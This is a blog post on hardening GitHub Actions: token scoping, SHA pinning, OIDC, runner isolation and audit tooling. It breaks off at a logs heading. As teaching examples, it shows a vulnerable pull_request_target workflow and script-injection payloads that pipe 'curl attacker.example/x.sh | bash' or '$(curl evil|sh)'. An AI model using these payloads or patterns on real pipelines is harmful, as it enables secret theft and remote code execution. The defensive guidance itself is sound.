Skip to content
Derar Sattouf

GitHub Actions Security Hardening in 2026

Updated DevOps & cloud

GitHub Actions Security Hardening in 2026

A CI system is the most privileged automation most organizations run. It can read your source, hold your cloud credentials, publish your packages, and deploy to production, and it executes code written by people (and increasingly by bots and AI agents) that you may not fully trust. That combination is why attackers treat GitHub Actions as a primary target: compromise one workflow or one popular third-party action and you inherit secrets across thousands of repositories.

The good news is that the defences are well understood, mostly free, and mostly configuration. Start with the token. Set permissions: {} or contents: read at the top level of every workflow and grant extra scopes per job, and set the organization and repository default for GITHUB_TOKEN to read-only. Pin every third-party action to a full-length commit SHA, keep a version comment next to it, and let Dependabot or Renovate update the pins through reviewed pull requests.

Then keep untrusted input away from anything privileged. Never check out and execute untrusted pull request code in a privileged context. Avoid pull_request_target and workflow_run unless you fully understand the trust boundary, and when you do need them, don't run code from the pull request. Never interpolate untrusted values (github.event.*.title, head_ref, issue bodies, branch names) directly into run: scripts. Pass them through env: and quote them as shell variables.

For credentials, replace long-lived cloud keys with OIDC (AWS, GCP, Azure) and use npm trusted publishing instead of npm tokens, scoping the OIDC trust policy to the exact repository, branch or environment. Scope secrets to environments with required reviewers and branch rules, and prefer fewer, narrower secrets over organization-wide ones. Don't use self-hosted runners for public repositories or untrusted code; if you must, make them ephemeral and isolated.

Finally, audit continuously and keep a rehearsed incident plan. Run zizmor and actionlint in CI, add OpenSSF Scorecard, consider StepSecurity Harden-Runner for egress monitoring, and require review for .github/ through CODEOWNERS and rulesets. When something does go wrong: identify exposure from logs, rotate every secret the workflow could read, and pin or remove the affected action.

Here the focus is the Actions platform itself. For artifact signing, SLSA provenance, and SBOMs, see the companion post Software Supply Chain Security in Practice: SBOMs, SLSA, and Sigstore, and for npm-specific defences see npm Supply Chain Defense. Version numbers and platform behaviour below are as of late 2026; anything marked "verify" changes quickly and should be confirmed against the linked documentation.

Threat model: how Actions gets compromised

Before applying controls, know which attacks they stop. Almost every public GitHub Actions incident falls into one of five buckets.

The five attack classes

ClassAttacker controlsMechanismExample outcome
Pwn requestA pull request from a forkA privileged workflow (pull_request_target, workflow_run) checks out and runs the PR's codeRepository secrets and a write-scoped token stolen
Script injectionA PR title, branch name, issue body, commit messageUntrusted text is expanded into a run: script by expression substitutionArbitrary shell command execution in the runner
Compromised third-party actionAn action maintainer account or its dependencyA mutable tag is repointed to malicious code that dumps secrets or modifies the buildEvery consumer's secrets leaked (the tj-actions/changed-files incident in March 2025 is the canonical public case)
Cache and artifact poisoningA lower-trust workflow runA malicious cache entry or artifact is later consumed by a privileged workflowBackdoored release build
Credential theft and over-permissionA stolen long-lived token, or a token with too much scopeStatic cloud keys, personal access tokens, broad GITHUB_TOKENPersistent access long after the workflow ends

A sixth class cuts across all of them: runner compromise, especially on self-hosted runners that persist state between jobs.

Trust boundaries

                   UNTRUSTED                                   TRUSTED
  fork PR code, PR titles, branch names,        default branch workflow definitions,
  issue text, third-party action code           org-owned reusable workflows, environment secrets

            |                                                    |
            v                                                    v
   +-----------------+      must NOT mix      +--------------------------------+
   | pull_request    |  <-- no secrets -->    | push to main / release tag     |
   | (read-only,     |                        | (secrets, OIDC, write tokens)  |
   |  no secrets)    |                        |                                |
   +-----------------+                        +--------------------------------+
            \                                                  /
             \------ pull_request_target / workflow_run -------/
                      (runs with secrets: the danger zone)

The most important design rule follows directly: untrusted input must never reach a job that has secrets or write permissions. Every control below enforces some part of that sentence.

What an attacker wants

Attackers usually want one of four things: secrets (cloud keys, publishing tokens), a write-capable GITHUB_TOKEN (to push code or tags, edit releases, or open malicious pull requests), the ability to alter build outputs (supply chain implants), or free compute (cryptomining). Defence in depth means each of those has a dedicated guard so that one mistake does not hand over everything.

GITHUB_TOKEN least privilege

Every workflow run receives an automatically generated GITHUB_TOKEN. Its permissions are the first thing to lock down because they are inherited by every step, including every third-party action.

Set the default to read-only

At the organization and repository level (Settings, Actions, General, Workflow permissions), choose Read repository contents and packages permissions, and leave "Allow GitHub Actions to create and approve pull requests" disabled unless you need it. This makes the default for any workflow that forgets to declare permissions.

Declare permissions explicitly

Put an explicit block at the top of every workflow and widen per job:

name: ci

on:
  pull_request:
  push:
    branches: [main]

permissions: {}          # deny everything by default

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read     # needed to check out the repository
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
      - run: npm ci && npm test

  comment:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write   # only this job can write to PRs
    steps:
      - run: echo "tests passed"

Use the exact version you trust in place of the tag shown; the pinning section that follows explains how. Note persist-credentials: false on checkout: by default the checkout action stores the token in the local git config so later steps can push. If no step needs to push, do not leave a token lying around where any later step or action can read it.

Permission reference

PermissionGrantsTypical job
contents: readClone the repoBuild, test
contents: writePush commits, tags, releasesRelease job, changelog bot
pull-requests: writeComment, label, reviewPR bots
issues: writeEdit issues and commentsTriage bots
packages: writePush to GitHub Packages and GHCRPublish jobs
id-token: writeRequest an OIDC tokenCloud auth, npm trusted publishing, attestations
attestations: writeCreate build provenance attestationsRelease jobs
security-events: writeUpload SARIF to code scanningScanners
actions: writeManage caches and runsCache cleanup
checks: writeCreate check runsTest reporters

Two cautions. First, id-token: write does not by itself grant anything; it lets the job request a token that a cloud provider may trust, so the trust policy on the cloud side is what matters (see the OIDC section). Second, contents: write on a job that also runs untrusted dependencies installs (for example npm install with lifecycle scripts) means a malicious package can push to your repository. Split building from publishing.

Anti-patterns

  • A top-level permissions: write-all. Equivalent to no security.
  • Using a personal access token (PAT) in place of GITHUB_TOKEN because it was easier. PATs usually have broad scope, outlive the workflow, and belong to a human whose departure breaks the pipeline. When a different repository must be accessed, use a GitHub App installation token scoped to the specific repositories and permissions.
  • Relying on "Allow GitHub Actions to create and approve pull requests" to have a bot approve its own changes, which defeats review.

Pinning actions by commit SHA

A reference like uses: some-org/some-action@v3 resolves a mutable tag. Anyone with write access to that repository (or an attacker who obtains it) can repoint v3 to different code, and your next run executes it with your secrets. This is exactly what happened in the March 2025 compromise of tj-actions/changed-files, where existing version tags were retroactively moved to a malicious commit that printed secrets into build logs. Repositories pinned to a full commit SHA were not affected unless they had updated to the malicious SHA.

The rule

Pin third-party actions to a full-length (40 character) commit SHA, and add the human-readable version as a comment:

steps:
  - uses: actions/checkout@<full-40-char-sha>   # v6.0.2
  - uses: actions/setup-node@<full-40-char-sha> # v5.0.0

The placeholders above are intentional: look up the real SHA for the tag you have reviewed, using the tag's commit on the action's releases page or git ls-remote https://github.com/actions/checkout refs/tags/v6.0.2. Do not copy a SHA from a blog post (including this one) without checking it belongs to the upstream repository, because forks can carry the same SHA in their network.

Pinning decision table

WhatPin to SHA?Reason
Third-party actions from unknown maintainersYes, alwaysHighest risk
Verified creators and large vendors (cloud providers, HashiCorp, Docker)YesA compromised account still compromises you
actions/* (GitHub-owned)Recommended; at minimum use a major tag and monitorLower risk, but pinning is cheap with automation
Your organization's own reusable workflows and actionsPin to a tag or SHA in a protected repoInternal trust, still use rulesets and review
Docker images used by actions (docker:// references)Pin by digestTags are mutable here too
Container images in container: and services:Pin by digestSame reason

Transitive dependencies still matter

A SHA pin fixes the action's own code but not what the action fetches at runtime. A composite action may call other actions by mutable tag; a JavaScript action's bundled node_modules are part of the pinned commit (good), but an action that downloads a binary from a release URL at run time is not protected by your pin. Audit the actions you depend on most: read action.yml, look for uses: entries inside composite actions, look for curl | bash, and prefer actions that vendor their dependencies. GitHub's 2026 roadmap targets this gap with workflow-level dependency locking (see the section on GitHub's 2026 security roadmap).

Immutable releases and immutable actions

GitHub now supports immutable releases: once enabled for a repository, a published release's tag and assets cannot be changed or deleted and a release attestation is produced. If you publish actions, turn this on and tell users to pin by SHA or to an immutable release tag. As a consumer you cannot force other maintainers to adopt it, so continue pinning by SHA. Check the current GitHub documentation for how immutable releases are enabled and which action versions are published that way.

Enforce pinning with policy

GitHub added an organization and repository setting to require actions to be pinned to a full-length commit SHA (Settings, Actions, General, under the policies for allowed actions). Workflows that reference unpinned actions then fail rather than run. Combine it with an allow list of approved actions or action owners. Verify the exact setting name and the interaction with reusable workflows in the current docs, because this area has been evolving.

Keep pins fresh without manual work

Pinning without updating means you run stale, unpatched actions forever. Automate updates (see the Dependabot and Renovate section) so that a pin bump arrives as a pull request with a changelog, and wire the bump to review and tests.

pull_request versus pull_request_target, and workflow_run

Event choice is the single most consequential security decision in a workflow file.

Event comparison

EventWorkflow file taken fromCode checked out by defaultSecrets for fork PRsGITHUB_TOKEN for fork PRsUse for
pull_requestThe PR merge commitThe PR merge commitNoRead-onlyBuild and test PRs, including forks
pull_request_targetThe base branch (default branch)The base branchYesRead/write per permissionsLabeling, commenting; never running PR code
workflow_runThe default branchThe default branchYesPer permissionsPost-processing results of another workflow
pushThe pushed commitThe pushed commitYes (for branches in this repo)Per permissionsMain branch, tags, releases
issue_comment, issuesThe default branchThe default branchYesPer permissionsBots reacting to comments; inputs are untrusted
workflow_dispatchThe selected refThe selected refYesPer permissionsManual runs; inputs are user-provided

Fork PRs under pull_request run with a read-only token and no secrets, which is why they are safe to run untrusted code. pull_request_target flips that: it runs trusted workflow code with secrets and a write token in the context of the base repository, so anything it executes from the PR is a gift to the attacker.

The pwn request

The vulnerable pattern is subtle, which is why it keeps appearing:

# VULNERABLE: do not do this
on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # checks out attacker code
      - run: npm ci && npm test                            # runs attacker code WITH secrets

The attacker's pull request modifies package.json scripts, a test file, a Makefile, or a lifecycle hook; the privileged job runs it with write access and secrets in scope. The same vulnerability exists if the job checks out the PR head and then runs anything that reads files from it, including linters with plugin configuration, docker build of an attacker Dockerfile, or pip install -r from an attacker requirements file.

The safe split pattern

If you need privileged follow-up (commenting, labeling, uploading to a registry) for fork PRs, split the work:

  1. An unprivileged pull_request workflow builds and tests, then uploads results as an artifact. No secrets, read-only token.
  2. A privileged workflow_run workflow, triggered when the first completes, downloads the artifact and treats it as untrusted data: parse it, validate the fields, and only then comment or label. It never executes anything from the artifact and never checks out the PR head.
# .github/workflows/pr-test.yml  (unprivileged)
name: PR test
on: pull_request
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
      - run: npm ci && npm test -- --reporter=json > result.json
      - uses: actions/upload-artifact@v4
        with:
          name: result
          path: result.json
# .github/workflows/pr-comment.yml  (privileged, never runs PR code)
name: PR comment
on:
  workflow_run:
    workflows: ["PR test"]
    types: [completed]
permissions:
  pull-requests: write
  actions: read
jobs:
  comment:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: result
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
      - name: Validate and summarize
        run: |
          jq -e '.stats.failures | numbers' result.json > /dev/null
          echo "Failures: $(jq '.stats.failures' result.json)"

Treat the artifact as hostile text. Do not feed its contents into expressions, eval, or a shell without validation.

Safe uses of pull_request_target

pull_request_target is acceptable when the job never touches PR code: adding a label based on file paths via the GitHub API, posting a welcome comment, or assigning reviewers. If you must read the PR's changed files, use the API, not a checkout. Never combine it with actions/checkout pointed at the head ref. GitHub has also been tightening the behaviour of pull_request_target and environment branch protection evaluation; verify the current semantics in the GitHub changelog before relying on older assumptions.

Approval for first-time and outside contributors

In repository settings, require approval before running workflows from all outside collaborators (not just first-time contributors) for repositories that run anything sensitive. This does not replace the controls above but prevents drive-by abuse of compute.

Untrusted input and script injection

How expression injection works

The expression ${{ ... }} is substituted into the workflow text before the shell runs. If the substituted value contains shell metacharacters, they become part of the script:

# VULNERABLE
- name: Greet
  run: echo "Thanks for the PR titled ${{ github.event.pull_request.title }}"

A pull request titled "; curl https://attacker.example/x.sh | bash; echo " turns that into two commands. The runner has whatever permissions and secrets the job has.

The fix: environment variables

Pass the value through env: so the shell treats it as data, then reference it as a quoted variable:

- name: Greet
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Thanks for the PR titled $PR_TITLE"

Because the shell variable expansion happens at run time and is quoted, the title cannot break out of the string. This applies to every step type that executes text: run:, actions/github-script (use process.env instead of interpolating into the script), and arguments to tools that evaluate input.

- uses: actions/github-script@v7
  env:
    TITLE: ${{ github.event.pull_request.title }}
  with:
    script: |
      const title = process.env.TITLE;
      core.info(`Title length: ${title.length}`);

Fields that are attacker-controlled

Treat all of these as untrusted:

  • github.event.issue.title, github.event.issue.body
  • github.event.pull_request.title, .body, .head.ref, .head.label, .head.repo.default_branch
  • github.event.comment.body, github.event.review.body, github.event.review_comment.body
  • github.event.commits.*.message, .author.email, .author.name
  • github.head_ref (the source branch name; branch names can contain shell syntax)
  • github.event.pages.*.page_name
  • Workflow dispatch inputs.*, and any artifact or cache content produced by lower-trust workflows
  • Output of previous steps if derived from any of the above

Other injection sinks

  • $GITHUB_ENV and $GITHUB_OUTPUT injection. Writing echo "name=$UNTRUSTED" >> "$GITHUB_ENV" lets an attacker inject newline-separated extra variables (for example LD_PRELOAD or NODE_OPTIONS). Validate against an allow-list pattern, or use the delimiter-based multiline form with a random delimiter.
  • Git ref names. A branch called $(curl evil|sh) is a legal ref in some contexts. Quote everything and do not pass refs through eval.
  • Dependency installs. npm install, pip install, and bundle install of attacker-influenced manifests execute code. In privileged jobs, do not install from untrusted manifests.
  • Template engines and gh CLI calls. Use gh ... --body-file or here-docs from environment variables, not string interpolation of untrusted text.

Validating inputs

For workflow_dispatch inputs, define types and constrain them:

on:
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options: [staging, production]
        required: true
      version:
        type: string
        required: true

jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - name: Validate version format
        env:
          VERSION: ${{ inputs.version }}
        run: |
          if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
            echo "Invalid version: refusing to continue" >&2
            exit 1
          fi

A choice input limits what can be selected through the UI, but the API accepts arbitrary strings for choice inputs in some situations, so validate again in the job if the value reaches a shell or a deployment target.

Secrets, environments, and scoping

Where secrets live

LevelVisible toUse
Organization secretSelected or all repositoriesShared low-risk integrations only; scope to named repositories
Repository secretAll workflows in the repository, including PR workflows from branches in the repositoryNon-production tokens
Environment secretOnly jobs that reference that environment, after its protection rules passProduction credentials, deploy keys
Dependabot secretDependabot-triggered runsRegistry tokens for dependency updates

Dependabot-triggered workflows get a read-only token and their own secret store, separate from Actions secrets, to prevent a malicious dependency update from reading production secrets. Do not undo that by granting Dependabot runs access to Actions secrets.

Environments as gates

An environment can require reviewers, restrict deployment branches and tags, add a wait timer, and hold environment-scoped secrets and variables. A job that declares environment: production is paused until protections pass, and only then are the environment secrets available.

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://app.example.com
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
      - run: ./deploy.sh

Configure the production environment to allow deployments only from main and from protected release tags, and require two reviewers who are not the person who triggered the run (enable "prevent self-review" where the plan supports it). With this setup a malicious pull request cannot reach the production secrets even if it manages to modify a workflow, because the branch rule denies the environment.

Practices

  1. Fewer secrets. Every secret you remove is one you cannot leak. Replace cloud keys with OIDC (next section).
  2. Narrow scope. A deploy key for one repository, one registry token per package, not a single admin token.
  3. No secrets in pull_request workflows beyond what they cannot do harm with. For fork PRs they are not provided anyway.
  4. Mask derived secrets with ::add-mask::VALUE before use. GitHub only masks exact matches of registered secrets; transformations (base64, URL-encoded, JSON-escaped) are not masked automatically.
  5. Do not echo, set -x, or print environment dumps in jobs with secrets. Enable ACTIONS_STEP_DEBUG only deliberately.
  6. Structured secrets are risky: a JSON blob stored as a secret is only masked as a whole string, so individual fields printed by tools may leak. Store each value separately.
  7. Rotate on a schedule and after any suspected exposure, and record where each secret is used.
  8. Use secret scanning with push protection on the repository so tokens committed by mistake are blocked or flagged.
  9. Pass secrets to the one step that needs them, not to the whole job, through step-level env:. Third-party actions in other steps then never see them.
steps:
  - uses: actions/checkout@v4
    with:
      persist-credentials: false
  - name: Third-party action (no secrets in scope)
    uses: some-org/linter-action@<full-40-char-sha>   # v2.1.0
  - name: Publish (secret only here)
    env:
      REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
    run: ./publish.sh

OIDC: stop storing cloud credentials

OpenID Connect lets a workflow request a short-lived, signed identity token from GitHub and exchange it with a cloud provider for temporary credentials. No static access key is stored in GitHub, nothing needs rotating, and the cloud side can bind trust to exactly the repository, branch, environment, or workflow that is allowed.

How it works

 Workflow job                 GitHub OIDC provider             Cloud (AWS / GCP / Azure)
 ------------                 --------------------             -------------------------
 job requests token  ----->   issues signed JWT with claims
 (needs id-token: write)      sub, repository, ref, environment,
                              job_workflow_ref, actor ...
 sends JWT to cloud  ---------------------------------------->  validates signature + trust policy
                                                                 (claims must match conditions)
 receives short-lived credentials  <-----------------------------  returns temporary credentials

The token's subject claim (sub) encodes what ran, for example repo:my-org/my-repo:environment:production or repo:my-org/my-repo:ref:refs/heads/main. The cloud trust policy must match this claim tightly. A policy that trusts repo:my-org/* lets any repository in the organization assume the role, including a throwaway test repository an intern created.

AWS

Create an IAM OIDC identity provider for token.actions.githubusercontent.com, then a role with a trust policy that pins the audience and subject:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
          "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:environment:production"
        }
      }
    }
  ]
}

The workflow:

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: aws-actions/configure-aws-credentials@<full-40-char-sha>   # v5.x
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-production
          aws-region: eu-west-1
      - run: aws sts get-caller-identity

Give the role the narrowest permissions that work and add a permissions boundary. If you want to constrain by workflow file (so only deploy.yml on main can assume it), use the job_workflow_ref claim in the condition together with sub, and verify that the claim customization you use is supported by the current AWS and GitHub documentation.

Google Cloud

Create a Workload Identity Pool and an OIDC provider with an attribute condition restricting repositories, then bind a service account:

gcloud iam workload-identity-pools create github \
  --project="$PROJECT_ID" --location=global --display-name="GitHub Actions"

gcloud iam workload-identity-pools providers create-oidc my-repo \
  --project="$PROJECT_ID" --location=global --workload-identity-pool=github \
  --issuer-uri="https://token.actions.githubusercontent.com" \
  --attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository,attribute.ref=assertion.ref" \
  --attribute-condition="assertion.repository == 'my-org/my-repo' && assertion.ref == 'refs/heads/main'"

gcloud iam service-accounts add-iam-policy-binding "deployer@$PROJECT_ID.iam.gserviceaccount.com" \
  --role=roles/iam.workloadIdentityUser \
  --member="principalSet://iam.googleapis.com/projects/$PROJECT_NUMBER/locations/global/workloadIdentityPools/github/attribute.repository/my-org/my-repo"

Modern Google Cloud requires an attribute condition on providers that use GitHub as the issuer, precisely to prevent the "any repository can assume this" mistake. In the workflow use the Google authentication action with workload_identity_provider and service_account, plus id-token: write.

Azure

Create an app registration (or user-assigned managed identity) and add a federated credential with issuer https://token.actions.githubusercontent.com, subject repo:my-org/my-repo:environment:production, and audience api://AzureADTokenExchange. In the workflow use azure/login with client-id, tenant-id, and subscription-id (none of which are secrets in the sense of being credentials) and id-token: write. Federated credentials match subjects exactly, so you create one per environment or branch.

npm trusted publishing

npm supports trusted publishing through OIDC so that a GitHub Actions workflow can publish a package without a stored token, and provenance statements are generated automatically for public packages. Classic npm tokens were permanently revoked in December 2025 and granular tokens now have short lifetimes, which makes OIDC the sustainable path. Configure the trusted publisher on the package settings page on npmjs.com (organization or user, repository, workflow filename, and optional environment), then:

name: publish
on:
  push:
    tags: ["v*"]

permissions: {}

jobs:
  publish:
    runs-on: ubuntu-latest
    environment: npm-publish
    permissions:
      contents: read
      id-token: write      # required for trusted publishing
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
      - uses: actions/setup-node@v5
        with:
          node-version: "24"
          registry-url: "https://registry.npmjs.org"
      - run: npm ci --ignore-scripts
      - run: npm test
      - run: npm publish

Trusted publishing requires a recent npm CLI (11.5.1 or later as of late 2026) and, per npm's documentation, a cloud-hosted runner for the supported providers. Verify the current list of supported CI providers and requirements in the npm documentation linked below. Note --ignore-scripts on the install step so dependency lifecycle scripts cannot run in the job that holds publishing identity.

OIDC checklist

  1. Trust policy pins aud and an exact sub (or a tight attribute condition).
  2. Use environments as the subject boundary for production.
  3. Different roles for plan versus apply, read versus write.
  4. Session duration as short as the job needs.
  5. Review which workflows request id-token: write; grep for it regularly.
  6. Consider custom claims and repository custom properties in the token for centralized policy; GitHub announced OIDC custom property claims in 2026, so verify availability.

Self-hosted runner risks

GitHub-hosted runners are ephemeral VMs created for one job. Self-hosted runners are whatever you make them, and the default is dangerous.

Why they are risky

  • Persistence. Jobs run in the same environment unless you make it ephemeral. A malicious job leaves behind a modified toolchain, a poisoned cache, a credential in a dotfile, a background process, or a modified Docker daemon. The next job (possibly a privileged one) inherits it.
  • Network position. A runner inside your network can reach internal services, metadata endpoints, and databases that cloud runners cannot.
  • Public repository exposure. Anyone can open a pull request against a public repository, and a workflow triggered by it could run on your self-hosted runner. GitHub's guidance is unambiguous: do not use self-hosted runners with public repositories.
  • Credential reuse. Cloud instance roles, Docker credentials, and kubeconfigs on the host are available to every job.

Hardening rules

ControlHow
Ephemeral runnersRegister with --ephemeral so each runner takes one job then deregisters; create a fresh VM or container per job
AutoscalingActions Runner Controller on Kubernetes, or a provisioning service, so there is no long-lived pool
Network egressDefault-deny outbound; allow only package registries and required endpoints
No instance credentialsBlock access to the cloud metadata service (IMDSv2 with hop limit 1, or firewall) and use OIDC for access
Separate pools by trustA pool for untrusted PR builds with no secrets and no network access to internal systems; a pool for protected branches
Runner groupsRestrict which repositories and workflows can use each group
PatchingRebuild images regularly; pin the runner version and update promptly
Non-rootDo not run the runner as root; avoid mounting the Docker socket
Hardware isolationUse microVMs (for example Firecracker-based or Kata containers) for jobs that run arbitrary code

For macOS self-hosted runners, use ephemeral virtual machines (Tart and similar tools make this practical on Apple silicon) and wipe the keychain between jobs.

Larger GitHub-hosted runners as an alternative

If the motive for self-hosting is speed or more cores, larger GitHub-hosted runners and static IP options may remove the need to own the fleet while preserving ephemeral isolation. Evaluate before taking on the security burden.

Reusable workflows and composite actions

Centralizing pipeline logic reduces duplication and lets a security team define one hardened path. It also creates a high-value target, so protect it.

Reusable workflows

# In my-org/.github-workflows/.github/workflows/build.yml
name: build
on:
  workflow_call:
    inputs:
      node-version:
        type: string
        default: "24"
    secrets:
      NPM_READ_TOKEN:
        required: false

permissions: {}

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@<full-40-char-sha>   # v6.0.2
        with:
          persist-credentials: false
      - uses: actions/setup-node@<full-40-char-sha> # v5.0.0
        with:
          node-version: ${{ inputs.node-version }}
      - run: npm ci --ignore-scripts && npm test

Caller:

jobs:
  build:
    uses: my-org/.github-workflows/.github/workflows/build.yml@<full-40-char-sha>
    with:
      node-version: "24"
    secrets: inherit    # prefer naming secrets explicitly

Rules for shared workflows

  • Call them by SHA or protected tag, not by branch name, so a push to the shared repository does not instantly change every consumer.
  • Put them in a repository with strict branch protection, required reviews, and CODEOWNERS. Anyone who can push there can run code in every caller.
  • Avoid secrets: inherit in favor of explicit secret passing, so you can see which secrets each callee receives.
  • A called workflow cannot widen the caller's GITHUB_TOKEN permissions; permissions can only be maintained or reduced. Set minimal permissions in both.
  • Use required workflows via rulesets (organization-level rulesets can require specific workflows to pass on pull requests) to enforce security scans across all repositories. Verify the current configuration steps in the rulesets documentation.
  • Composite actions run in the caller's job and see its secrets and environment, so review them like first-party code.

Dependabot and Renovate for actions

Pinning is only safe if you can update painlessly.

Dependabot

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
    cooldown:
      default-days: 7           # wait before adopting brand-new releases
    groups:
      actions-minor-and-patch:
        update-types: ["minor", "patch"]
    commit-message:
      prefix: "ci"

Dependabot understands SHA-pinned actions that carry a version comment and will update both the SHA and the comment. The cooldown option delays adopting releases that are only hours old, which materially reduces exposure to a freshly compromised release that gets yanked within a day. Check the current Dependabot options reference for exact keys and defaults.

Renovate

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": ["config:recommended", "helpers:pinGitHubActionDigests"],
  "minimumReleaseAge": "7 days",
  "packageRules": [
    {
      "matchManagers": ["github-actions"],
      "groupName": "github actions",
      "automerge": false
    }
  ]
}

The preset helpers:pinGitHubActionDigests converts tags to digests automatically; minimumReleaseAge mirrors the cooldown idea. Renovate also updates Docker digests referenced in workflows.

Review the bump

Treat an action bump as a dependency change that can run with your secrets. Review the diff between the old and new SHA (the pull request links to it), prefer to not auto-merge actions that handle credentials, and run the full CI before merge. Security updates for known vulnerabilities in actions can be handled faster, with the same review.

CODEOWNERS, rulesets, and branch protection

Controls inside workflows are undermined if anyone can edit the workflows.

Protect the workflow directory

# .github/CODEOWNERS
/.github/workflows/   @my-org/platform-security
/.github/actions/     @my-org/platform-security
/.github/dependabot.yml @my-org/platform-security
/fastlane/            @my-org/mobile-leads
/scripts/release/     @my-org/platform-security

Combine with a ruleset on the default branch that requires pull requests, at least one review from code owners, status checks, and blocks force pushes and deletions. The rule: the author of a workflow change cannot be its only approver.

Rulesets

Repository and organization rulesets are the modern replacement for classic branch protection and add useful capabilities:

  • Apply to branches and tags (protect v* tags so releases cannot be rewritten).
  • Require signed commits, linear history, and required status checks.
  • Require deployments to succeed before merge.
  • Push rules restricting changes to specific paths (for example preventing pushes that modify .github/workflows/).
  • Bypass lists that are narrow and audited; avoid "repository admin can bypass" as a standing exemption.
  • Organization-wide scope so new repositories inherit protection by default.

Tags and releases

Mutable tags are an attack path for your own actions. Protect release tags with a ruleset that forbids updates and deletion, and enable immutable releases where available.

Action allow lists

Under organization Actions policy choose Allow select actions and reusable workflows, list the allowed owners and specific repositories, and require SHA pinning. Review the list quarterly; an action nobody uses should be removed from the list.

Auditing and detection tools

Automation finds what review misses. Layer several tools because they overlap but do not coincide.

Tool comparison

ToolWhat it doesWhere it runsStrength
zizmorStatic analysis of workflows for security issues (injection, excessive permissions, unpinned actions, dangerous triggers, cache poisoning, credential persistence)CLI, GitHub Action, pre-commitSecurity-focused, rich rules, SARIF output
actionlintLinter for workflow syntax, expression types, shellcheck integrationCLI, ActionCatches correctness bugs, including some injection patterns
StepSecurity Harden-RunnerRuntime egress monitoring and blocking, file integrity events on the runnerStep in each jobDetects exfiltration and unexpected network calls at run time
OpenSSF ScorecardScores repository practices (pinned dependencies, token permissions, branch protection, dangerous workflows)Action, CLI, public APIBenchmark and trend tracking
CodeQL for ActionsCode scanning with queries for workflow vulnerabilitiesCode scanningNative integration with GitHub Advanced Security
Secret scanning and push protectionDetect and block committed secretsGitHub platformPrevention at commit time
Dependency review actionFlags vulnerable dependencies introduced in a PRActionShifts left for dependencies

zizmor in CI

name: workflow-security

on:
  pull_request:
    paths: [".github/**"]
  push:
    branches: [main]
    paths: [".github/**"]

permissions: {}

jobs:
  zizmor:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write     # to upload SARIF
      actions: read
    steps:
      - uses: actions/checkout@<full-40-char-sha>   # v6.0.2
        with:
          persist-credentials: false
      - uses: zizmorcore/zizmor-action@<full-40-char-sha>   # pin to a reviewed release

Run it locally too: uvx zizmor .github/workflows/ or install from your package manager. Start with the default rule set, fix high-severity findings, then use a zizmor.yml configuration file to document deliberate exceptions. zizmor has an online-audits mode that checks actions against known vulnerability data and can propose fixes for some findings (--fix); check its documentation for current flags.

actionlint

# local
brew install actionlint
actionlint -color

# CI (pin the version)
docker run --rm -v "$PWD:/repo" --workdir /repo rhysd/actionlint:latest -color

Replace latest with a pinned version or digest. actionlint's integration with ShellCheck flags quoting problems in run: blocks, which are the cousin of injection bugs.

Harden-Runner

Add it as the first step so it sees everything that follows:

steps:
  - uses: step-security/harden-runner@<full-40-char-sha>   # pin a reviewed release
    with:
      egress-policy: audit      # start in audit; move to block with an allow list
  - uses: actions/checkout@<full-40-char-sha>
    with:
      persist-credentials: false

Start in audit mode to learn what each workflow legitimately contacts, then switch to block with an allow list of endpoints. Runtime monitoring is valuable precisely because pinning does not protect you from a malicious dependency that your pinned action downloads at run time. Check the vendor documentation for current limits (for example support on GitHub-hosted versus self-hosted runners) and for which features require a paid plan.

OpenSSF Scorecard

name: scorecard
on:
  branch_protection_rule:
  schedule:
    - cron: "17 4 * * 1"
  push:
    branches: [main]

permissions: read-all

jobs:
  analysis:
    runs-on: ubuntu-latest
    permissions:
      security-events: write
      id-token: write
      contents: read
      actions: read
    steps:
      - uses: actions/checkout@<full-40-char-sha>   # v6.0.2
        with:
          persist-credentials: false
      - uses: ossf/scorecard-action@<full-40-char-sha>   # pin a reviewed release
        with:
          results_file: results.sarif
          results_format: sarif
          publish_results: true
      - uses: github/codeql-action/upload-sarif@<full-40-char-sha>
        with:
          sarif_file: results.sarif

Scorecard checks relevant here include Pinned-Dependencies, Token-Permissions, Dangerous-Workflow, Branch-Protection, and Code-Review. Use the score as a trend, not as a pass mark.

Logs and audit trail

